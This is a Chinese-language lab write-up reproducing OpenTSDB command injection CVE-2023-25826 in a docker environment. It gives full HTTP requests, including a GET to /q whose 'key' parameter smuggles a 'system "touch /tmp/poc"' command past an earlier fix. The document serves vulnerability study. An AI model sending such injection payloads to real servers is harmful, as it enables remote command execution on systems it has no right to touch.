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2025-09-06 16:08:15 +08:00
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# OpenTSDB 命令注入漏洞CVE-2023-25826
OpenTSDB是一款基于Hbase的、分布式的、可伸缩的时间序列数据库。
2.4.1版本及之前,存在一处命令注入漏洞。
这个漏洞其实是对之前的CVE-2020-35476修复不完善导致的所以整个复现过程也与之前类似。
参考链接:
- https://www.synopsys.com/blogs/software-security/opentsdb/
- https://github.com/OpenTSDB/opentsdb/pull/2275
## 漏洞环境
执行如下命令启动一个OpenTSDB 2.4.1
```
docker-compose up -d
```
服务启动后,访问`http://your-ip:4242`即可看到OpenTSDB的Web接口。
## 漏洞复现
这之前的都和CVE-2020-35476一致也是需要知道一个metric的名字可以通过`http://your-ip:4242/api/suggest?type=metrics&q=&max=10`查看metric列表。
如果metrics是空的由于当前OpenTSDB开启了自动创建metric功能`tsd.core.auto_create_metrics = true`所以也可以使用如下API创建一个名为`sys.cpu.nice`的metric并添加一条记录
```
POST /api/put/ HTTP/1.1
Host: your-ip:4242
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 150
{
"metric": "sys.cpu.nice",
"timestamp": 1346846400,
"value": 20,
"tags": {
"host": "web01",
"dc": "lga"
}
}
```
如果目标OpenTSDB存在metric且不为空则无需上述步骤。
然后这里的poc就有所不同了这里可以看到绕过修复的一个点在参数key这里
```
GET /q?start=2000/10/21-00:00:00&m=sum:sys.cpu.nice&o=&ylabel=1&xrange=&y2range=[42:42]&key=%3Bsystem%20%22touch%20/tmp/poc%22%20%22&wxh=1516x644&style=linespoint&baba=lala&grid=t&json HTTP/1.1
Host: your-ip:4242
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
```
![](1.png)
进入容器中可见`touch /tmp/poc`已成功执行:
![](2.png)